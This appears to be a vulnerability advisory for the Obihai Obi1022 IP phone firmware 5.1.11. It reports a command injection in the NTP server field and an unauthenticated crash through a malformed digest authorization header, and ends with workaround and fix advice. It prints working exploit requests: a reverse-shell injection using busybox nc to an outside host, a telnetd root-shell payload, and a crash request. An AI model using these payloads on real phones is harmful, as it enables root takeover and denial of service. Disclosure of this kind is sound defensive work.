1. Summary

Vendor: OBIHAI

Product: Obi1022

Affected Version: 5.1.11

CVSS Score: 9.0 (Critical)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:R/CR:M/IR:M/AR:H/MAV:A/MAC:L/MPR:L/MUI:N/MS:U/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The Obi1022 phone firmware has a fundamental design problem. The device does not contain an input validation for external user input. This problem allows an attacker to trigger a privilege escalation and command injection vulnerability in the web service.

The firmware of the Obi1022 IP phone contains a vulnerability, which allows an attacker to control the device by injecting arbitrary OS commands via web requests. The attacker has to be in the same network and authenticated to the phone's web server. Furthermore, the attacker can trigger a denial of service attack, resulting in crashing the device without authentication.

Command Injection and Code Execution (Vulnerability 1):

The management web interface contains an option for configuring the NTP server address (System Management →WAN Settings → Time Service Settings → NTPServer1/NTPServer2). The input values are forwarded to the `obiapp` binary which will execute the `ntpclient` command binary on the phone. See the following code excerpt (decompiled pseudo code):

```
void *sub_17D894()
{
  void *result;
  int v1;
  char s;
  char v3;
  char v4;
  int v5;

  memset(&v3, 0, 0x80u);
  result = memset(&v4, 0, 0x80u);
  v1 = dword_312078;
  if ( !dword_312078 )
  {
    dword_312078 = 1;
    v5 = 128;
    sub_1B4AA0(173, v1, 1, &v3, &v5);
    v5 = 128;
    result = (void *)sub_1B4AA0(174, v1, 1, &v4, &v5);
    if ( v3 )
    {
      sprintf(&s, "/usr/local/sbin/ntpclient -s -h %s &>/dev/null", &v3);
      result = (void *)system(&s);                  ^-----------------------command injection
    }                                                                       target
    if ( v4 )
    {
      sprintf(&s, "/usr/local/sbin/ntpclient -s -h %s &>/dev/null", &v4);
      result = (void *)system(&s);                 ^-----------------------command injection
    }                                                                      target
  }
  return result;
}
```

This command will be executed by the C function `system`, an attacker can inject arbitrary commands by closing the `ntpclient` command with a ";" and inject own arbitrary command. The following injection: `;busybox telnetd & #` will close the `ntpclient` command and start the `telnet` daemon.

Web Server Crash because of `null` Dereference (Vulnerability 2):

An attacker can abuse an implementation flaw in the request parsing process to crash the device without authentication. The implementation flaw will cause a `null` dereference bug which cause a segmentation fault. The running watchdog (SIG handler) will trigger a reboot of the device. The modification of the authorization header, more precise the digest authentication, values like `username` or `realm` will cause the `null` dereference.

The following debug excerpt shows the `null` dereference:

```
Thread 12 "HTTPD" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 845.904]
[ Legend: Modified register | Code | Heap | Stack | String ]
----------------------------------------------------------------[ registers ]----
$r0   : 0x00000000
$r1   : 0x00228b8c -> "admin"
$r2   : 0x00000000
$r3   : 0x00361c7d -> 0x00000000
$r4   : 0x00353380 -> "admin@OBi1022"
$r5   : 0x00361a58 -> 0x00000001
$r6   : 0x00000000
$r7   : 0x00000000
$r8   : 0x00000000
$r9   : 0x00359eec -> 0x00000001
$r10  : 0x00239170 -> 0x00000a0d
$r11  : 0x00355d00 -> 0x00544547 ("GET"?)
$r12  : 0x002784f0 -> 0x479dc3e0 -> <strcmp+0> ldrb r3,  [r0],  #1
$sp   : 0xb1b81738 -> 0x00000000
$lr   : 0x00147974 ->  cmp r0,  #0
$pc   : 0x479dc3e0 -> <strcmp+0> ldrb r3,  [r0],  #1
$cpsr : [thumb fast interrupt overflow CARRY ZERO negative]
--------------------------------------------------------------------[ stack ]----
0xb1b81738|+0x00: 0x00000000  <-$sp
0xb1b8173c|+0x04: 0xb6e95030 -> 0x00015915 -> "GLIBC_2.4"
0xb1b81740|+0x08: 0x00000000
0xb1b81744|+0x0c: 0x47965b18 -> 0x47965abc -> 0xb6e96f8c -> 0x47965960 -> 0x00000000
0xb1b81748|+0x10: 0xb6e97a90 -> 0x00000000
0xb1b8174c|+0x14: 0x47965b18 -> 0x47965abc -> 0xb6e96f8c -> 0x47965960 -> 0x00000000
0xb1b81750|+0x18: 0x47965960 -> 0x00000000
0xb1b81754|+0x1c: 0xb1b81788 -> 0xb1b81880 -> 0x47a7e1d8 -> "malloc(): memory corruption"
-------------------------------------------------------------[ code:armv5te ]----
   0x479dc3d4 <strchr+300>     b      0x479dc3b0 <strchr+264>
   0x479dc3d8 <strchr+304>     mrcvc  14,  7,  APSR_nzcv,  cr14,  cr15,  {7}
   0x479dc3dc <strchr+308>     mrshi  r0,  (UNDEF: 17)
->0x479dc3e0 <strcmp+0>       ldrb   r3,  [r0],  #1
   0x479dc3e4 <strcmp+4>       ldrb   r2,  [r1],  #1
   0x479dc3e8 <strcmp+8>       cmp    r3,  #0
   0x479dc3ec <strcmp+12>      beq    0x479dc400 <strcmp+32>
   0x479dc3f0 <strcmp+16>      cmp    r3,  r2
   0x479dc3f4 <strcmp+20>      beq    0x479dc3e0 <strcmp>
------------------------------------------------------------------[ threads ]----
[#0] Id 1, Name: "obiapp", stopped, reason: SIGSEGV
[#1] Id 2, Name: "timer", stopped, reason: SIGSEGV
[#2] Id 3, Name: "PARAM", stopped, reason: SIGSEGV
[#3] Id 4, Name: "dspg-kbd", stopped, reason: SIGSEGV
```

```
[#4] Id 5, Name: "SCDRV", stopped, reason: SIGSEGV
[#5] Id 6, Name: "PCAP", stopped, reason: SIGSEGV
[#6] Id 7, Name: "LOGD", stopped, reason: SIGSEGV
[#7] Id 8, Name: "DNSCD", stopped, reason: SIGSEGV
[#8] Id 9, Name: "ETH", stopped, reason: SIGSEGV
[#9] Id 10, Name: "OBIIPC", stopped, reason: SIGSEGV
[#10] Id 11, Name: "ZT_MAIN", stopped, reason: SIGSEGV
[#11] Id 12, Name: "HTTPD", stopped, reason: SIGSEGV
[#12] Id 13, Name: "PROV", stopped, reason: SIGSEGV
[#13] Id 14, Name: "slic", stopped, reason: SIGSEGV
[#14] Id 15, Name: "HFPSwitch", stopped, reason: SIGSEGV
-------------------------------------------------------------------[ trace ]----
[#0] 0x479dc3e0->Name: strcmp()
[#1] 0x147974->cmp r0,  #0
--------------------------------------------------------------------------------
0x479dc3e0 in strcmp () from target:/lib/libc.so.6
```

The instruction `ldrb r3, [r0], #1` tries to load from an address in `r0`, but `r0` contains the value **`0x00000000,`** which will cause an error. The signal handler of the process will trigger a reboot when detecting a segmentation fault. An attacker can abuse this flaw to trigger a denial of service attack.

2. Impact

Command Injection, Trigger Remote Root Shell and Code Execution:

If an attacker can somehow get knowledge about the login credentials of at least one user or the device still has the standard credentials, he can use the command injection (vulnerability 1) to establish a remote reverse shell. Because the web server is running with root privileges the injected command and established shell is running thereby as root. The attacker gets the highest privileges on the device.

The remote access can be established in two ways, the first one is establishing a reverse shell based on the following injection:

```
;mknod /tmp/pipe p; /bin/sh 0</tmp/pipe | /bin/busybox nc 10.148.207.102 4444 1>/tmp/pipe #
```

A corresponding `netcat` listener (`nc -vlp 4444`) will wait for the established shell.

The final request containing the injection is:

```
curl -i -s -k -X  'POST'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'  -H
'Accept-Language: de,en-US;q=0.7,en;q=0.3'  -H 'Referer: http://10.148.207.126/DI_NS_.xml'  -H
'Content-Type: application/x-www-form-urlencoded'  -H 'Content-Length: 437'  -H
'Authorization: Digest username="admin", realm="admin@OBi1022",
nonce="f5fc12de7f7bf9f10deb237adf5e7f4c", uri="/result.html", algorithm=MD5,
response="93dd22286afeb68158ac38d90ad4c363", opaque="bbf4bf00673fc50fe1bb8fb3b6e3d3ff",
qop=auth, nc=00000023, cnonce="b6bec04b962c4115"'  -H 'Connection: keep-alive'  -H 'Upgrade-
Insecure-Requests: 1'  -H ''  \
--data-binary
$'ParameterList=9fe349c6%3D%253Bmknod%2520%252Ftmp%252Fpipe%2520p%253B%2520%252Fbin%252Fsh%252
00%253C%252Ftmp%252Fpipe%2520%257C%2520%252Fbin%252Fbusybox%2520nc%252010.148.207.102%25204444
%25201%253E%252Ftmp%252Fpipe%2520%2523%269fe349c7%3D%253Bmknod%2520%252Ftmp%252Fpipe%2520p%253
B%2520%252Fbin%252Fsh%25200%253C%252Ftmp%252Fpipe%2520%257C%2520%252Fbin%252Fbusybox%2520nc%25
2010.148.207.102%25204444%25201%253E%252Ftmp%252Fpipe%2520%2523' \
'http://10.148.207.126/result.html'
```

Another way to get a root shell is to launch the `telnetd` service via the following request:

```
curl -i -s -k -X  'POST'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'  -H
```

```
'Accept-Language: de,en-US;q=0.7,en;q=0.3'  -H 'Referer: http://10.148.207.126/DI_NS_.xml'  -H
'Content-Type: application/x-www-form-urlencoded'  -H 'Content-Length: 127'  -H
'Authorization: Digest username="admin", realm="admin@OBi1022",
nonce="f5fc12de7f7bf9f10deb237adf5e7f4c", uri="/result.html", algorithm=MD5,
response="08a30092fc84f7f050645bb3d52e4e85", opaque="bbf4bf00673fc50fe1bb8fb3b6e3d3ff",
qop=auth, nc=00000032, cnonce="60ecebca81beeb95"'  -H 'Connection: keep-alive'  -H 'Upgrade-
Insecure-Requests: 1'  -H ''  \
--data-binary
$'ParameterList=9fe349c6%3D%253Bbusybox%2520telnetd%2520%2526%2520%2523%269fe349c7%3D%253Bbusy
box%2520telnetd%2520%2526%2520%2523' \
'http://10.148.207.126/result.html'
```

An attacker can now log in via `telnet` as root user; the telnet session has no authentication.

```
Connected to 10.148.207.126.
Escape character is '^]'.

DSPG v1.2.4-rc2 OBiPhone


OBiPhone login: root
root@OBiPhone:~# id
uid=0(root) gid=0(root) groups=0(root)
```

As long as the injected content is stored on the phone, the telnet daemon will be started even after a phone reboot.

Denial of Service Attack Based on Null Dereference:
An attacker can abuse vulnerability 2 to trigger a crash and reboot the phone without authentication. The following `curl` request cause the described bug (vulnerability 2):

```
curl 'localhost:5080/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0)
Gecko/20100101 Firefox/65.0' -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-
Language: de,en-US;q=0.7,en;q=0.3' --compressed -H 'Connection: keep-alive' -H 'Upgrade-
Insecure-Requests: 1' -H 'Authorization: Digest usernameaaaaaa="admin",
realm="\xaa\xaa\xaa\xaa", nonce="5fff195379cf259a1dff5e5a7fffc6e3", uri="/", algorithm=MD5,
response="eb433fcc8f8df83421f9475d5b5f3605", opaque="f7ffe00afb1e0063e7f63d02db3725d9",
qop=auth, nc=00000001, cnonce="581bd5ded606cc72"'
```

3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people. Further try to filter/restrict connection ports to the corresponding network.

4. Possible fix

Input validation must be handled on server side, not on client side (application) layer.

Another mitigation strategy is to reduce the privileges of the web server, it should not run as root. If the system implements a user management concept, this should be enforced on all layers.